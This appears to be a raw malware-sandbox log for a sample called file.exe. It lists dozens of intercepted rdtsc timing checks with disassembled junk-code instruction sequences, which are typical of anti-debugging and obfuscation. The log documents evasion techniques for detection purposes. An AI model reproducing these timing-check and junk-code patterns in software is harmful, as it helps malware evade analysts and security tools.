Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22D36 second address: D22D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F6A8934DF96h 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F6A8934DFA8h 0x00000017 jbe 00007F6A8934DFA1h 0x0000001d jmp 00007F6A8934DF9Bh 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63ED2 second address: D63EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D644B7 second address: D644BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D644BB second address: D644BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D644BF second address: D64527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jns 00007F6A8934DFAEh 0x0000000e jmp 00007F6A8934DFA8h 0x00000013 jbe 00007F6A8934DF98h 0x00000019 mov edi, eax 0x0000001b push 00000000h 0x0000001d cld 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F6A8934DF98h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a sub ebx, dword ptr [ebp+122D36DDh] 0x00000040 xchg eax, esi 0x00000041 jc 00007F6A8934DFA4h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64527 second address: D6452B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6476E second address: D64773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65658 second address: D6565E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64773 second address: D64779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66480 second address: D66489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D673C3 second address: D673CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6A8934DF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D673CD second address: D673D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66647 second address: D6665D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A8934DFA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D673D1 second address: D6744B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F6A88D62F38h 0x0000000f jmp 00007F6A88D62F32h 0x00000014 nop 0x00000015 sub dword ptr [ebp+122D2C30h], eax 0x0000001b push 00000000h 0x0000001d jmp 00007F6A88D62F32h 0x00000022 mov ebx, dword ptr [ebp+122D38D1h] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F6A88D62F28h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 mov di, E0C1h 0x00000048 and edi, dword ptr [ebp+12450B6Bh] 0x0000004e xchg eax, esi 0x0000004f jng 00007F6A88D62F2Ah 0x00000055 push edx 0x00000056 push esi 0x00000057 pop esi 0x00000058 pop edx 0x00000059 push eax 0x0000005a pushad 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6835B second address: D6836B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F6A8934DF96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67615 second address: D6761B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69262 second address: D69268 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69352 second address: D69356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69356 second address: D69368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jo 00007F6A8934DF96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69368 second address: D69370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69370 second address: D6940F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6A8934DF96h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d mov di, A15Ah 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F6A8934DF98h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov ebx, dword ptr [ebp+1246032Fh] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jmp 00007F6A8934DFA9h 0x00000044 mov eax, dword ptr [ebp+122D03BDh] 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push edx 0x0000004f call 00007F6A8934DF98h 0x00000054 pop edx 0x00000055 mov dword ptr [esp+04h], edx 0x00000059 add dword ptr [esp+04h], 00000018h 0x00000061 inc edx 0x00000062 push edx 0x00000063 ret 0x00000064 pop edx 0x00000065 ret 0x00000066 mov dword ptr [ebp+1244EF5Ch], edx 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jnc 00007F6A8934DF9Ch 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A3B6 second address: D6A3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A3BA second address: D6A3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C214 second address: D6C21A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A3C0 second address: D6A3C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C21A second address: D6C24E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D3961h] 0x00000011 push 00000000h 0x00000013 mov bx, cx 0x00000016 push 00000000h 0x00000018 xor ebx, dword ptr [ebp+122D3941h] 0x0000001e push eax 0x0000001f pushad 0x00000020 jne 00007F6A88D62F2Ch 0x00000026 jbe 00007F6A88D62F2Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B473 second address: D6B478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B478 second address: D6B482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6A88D62F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B482 second address: D6B508 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edx 0x0000000c sub ebx, 49CFA81Dh 0x00000012 pop ebx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr [ebp+122D3093h], edi 0x00000020 jng 00007F6A8934DF97h 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F6A8934DF98h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov edi, dword ptr [ebp+122D2F66h] 0x0000004d mov ebx, dword ptr [ebp+122D3295h] 0x00000053 mov eax, dword ptr [ebp+122D1455h] 0x00000059 jmp 00007F6A8934DFA0h 0x0000005e push FFFFFFFFh 0x00000060 jns 00007F6A8934DF9Ch 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jo 00007F6A8934DF98h 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E1CB second address: D6E1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E1D2 second address: D6E244 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6A8934DF9Ch 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F6A8934DF98h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D33A9h], esi 0x0000002e mov dword ptr [ebp+12458314h], eax 0x00000034 push 00000000h 0x00000036 call 00007F6A8934DF9Ch 0x0000003b jmp 00007F6A8934DFA0h 0x00000040 pop edi 0x00000041 push 00000000h 0x00000043 add dword ptr [ebp+122D3074h], ecx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jo 00007F6A8934DF98h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E244 second address: D6E24E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6A88D62F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F319 second address: D6F31F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7013D second address: D70193 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6A88D62F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jnc 00007F6A88D62F2Ch 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D3068h], esi 0x0000001c push 00000000h 0x0000001e add dword ptr [ebp+122D31B7h], edx 0x00000024 xchg eax, esi 0x00000025 push ebx 0x00000026 push eax 0x00000027 jmp 00007F6A88D62F36h 0x0000002c pop eax 0x0000002d pop ebx 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 je 00007F6A88D62F26h 0x00000038 jng 00007F6A88D62F26h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D711A3 second address: D711BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6A8934DFA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D711BA second address: D7123B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F6A88D62F38h 0x0000000e jg 00007F6A88D62F28h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F6A88D62F28h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 add ebx, dword ptr [ebp+122D377Dh] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F6A88D62F28h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+1247C35Bh] 0x00000058 push 00000000h 0x0000005a adc edi, 02B1A2F4h 0x00000060 xchg eax, esi 0x00000061 push edi 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7037A second address: D7037F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7037F second address: D703FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push ecx 0x0000000b mov di, C935h 0x0000000f pop ebx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F6A88D62F28h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 and bl, 00000047h 0x0000003b mov eax, dword ptr [ebp+122D10DDh] 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F6A88D62F28h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000019h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b mov di, cx 0x0000005e push FFFFFFFFh 0x00000060 sub dword ptr [ebp+122D2C90h], edi 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push ecx 0x0000006a push edi 0x0000006b pop edi 0x0000006c pop ecx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7133A second address: D71344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71407 second address: D7140D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7140D second address: D71413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7424B second address: D74251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74251 second address: D7426C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA0h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72346 second address: D7234A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7234A second address: D72350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7426C second address: D7428B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6A88D62F34h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72350 second address: D723F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D3487h] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F6A8934DF98h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 cmc 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007F6A8934DF98h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 mov di, FFB9h 0x00000059 mov bx, A555h 0x0000005d mov eax, dword ptr [ebp+122D1491h] 0x00000063 push FFFFFFFFh 0x00000065 add dword ptr [ebp+122D32F3h], ebx 0x0000006b nop 0x0000006c ja 00007F6A8934DFABh 0x00000072 js 00007F6A8934DFA5h 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d push ebx 0x0000007e pop ebx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D723F1 second address: D723F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D748EB second address: D748F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D723F5 second address: D723FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D723FB second address: D7240B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A8934DF9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74AB1 second address: D74B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6A88D62F32h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push ebx 0x00000016 jmp 00007F6A88D62F33h 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jl 00007F6A88D62F26h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3C4 second address: D7F3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3C8 second address: D7F3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3CC second address: D7F3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F6A8934DFA8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3EE second address: D7F3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3F6 second address: D7F3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3FA second address: D7F3FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F3FE second address: D7F404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EF8C second address: D7EF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EF92 second address: D7EF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EF96 second address: D7EF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82A1C second address: D82A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6A8934DF96h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d jmp 00007F6A8934DFA9h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F6A8934DFA2h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82A5F second address: D82A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82B54 second address: BAFB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA0h 0x00000009 popad 0x0000000a add dword ptr [esp], 2955C234h 0x00000011 pushad 0x00000012 mov ax, F690h 0x00000016 movsx ecx, ax 0x00000019 popad 0x0000001a cld 0x0000001b push dword ptr [ebp+122D0161h] 0x00000021 jmp 00007F6A8934DF9Eh 0x00000026 call dword ptr [ebp+122D2F31h] 0x0000002c pushad 0x0000002d jmp 00007F6A8934DFA9h 0x00000032 xor eax, eax 0x00000034 jmp 00007F6A8934DF9Ch 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007F6A8934DF9Eh 0x00000042 mov dword ptr [ebp+122D36F9h], eax 0x00000048 cmc 0x00000049 mov esi, 0000003Ch 0x0000004e mov dword ptr [ebp+122D317Dh], ebx 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 pushad 0x00000059 xor bx, 3EDAh 0x0000005e pushad 0x0000005f mov dword ptr [ebp+122D317Dh], ebx 0x00000065 mov ebx, dword ptr [ebp+122D37A1h] 0x0000006b popad 0x0000006c popad 0x0000006d lodsw 0x0000006f jmp 00007F6A8934DFA5h 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 ja 00007F6A8934DFA2h 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 mov dword ptr [ebp+122D1D2Bh], edi 0x00000088 nop 0x00000089 jmp 00007F6A8934DFA9h 0x0000008e push eax 0x0000008f push eax 0x00000090 push edx 0x00000091 jnc 00007F6A8934DF9Ch 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E0F second address: D83E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007F6A88D62F32h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E1C second address: D83E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E22 second address: D83E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F39h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E42 second address: D83E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6A8934DF96h 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F6A8934DF96h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E5B second address: D83E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
